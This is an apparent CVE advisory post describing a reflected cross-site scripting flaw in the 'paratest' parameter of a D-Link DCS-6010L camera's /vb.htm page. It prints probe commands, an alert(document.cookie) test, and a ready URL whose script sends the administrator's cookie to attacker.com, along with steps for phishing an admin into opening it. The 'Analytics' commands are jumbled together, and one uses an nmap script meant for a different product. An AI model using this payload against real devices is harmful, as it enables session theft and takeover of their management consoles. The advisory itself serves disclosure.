Listen to this Post
How the CVE Works
The vulnerability exists in the `/vb.htm` endpoint of the device’s management interface. This page contains a parameter named `paratest` that is unsanitized. An attacker can craft a malicious URL containing a JavaScript payload within this parameter. When an authenticated administrator is tricked into visiting this URL, the script executes in their browser context within the management application. This allows for session hijacking or unauthorized administrative actions, despite the device being unsupported and no longer receiving official security updates.
dailycve form:
Platform: D-Link DCS-6010L
Version: 1.15.03
Vulnerability: Reflected XSS
Severity: Medium
Date: 2025-07-25
Prediction: No official patch
What Undercode Say:
Analytics:
curl -s "http://<TARGET_IP>/vb.htm?paratest=" | grep -i "parameter" nmap -p 80,443 --script http-domino-xss <TARGET_IP>
<script>alert(document.cookie)</script>
http://192.168.1.1/vb.htm?paratest=<script>fetch('https://attacker.com/?c='%2Bdocument.cookie)</script>
How Exploit:
Craft malicious URL with `paratest` payload. Use phishing to trigger admin visit. Payload executes in management console.
Protection from this CVE:
Decommission unsupported hardware. Implement network segmentation. Use WAF rules.
Impact:
Session compromise. Unauthorized configuration changes. Low due to unsupported status.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
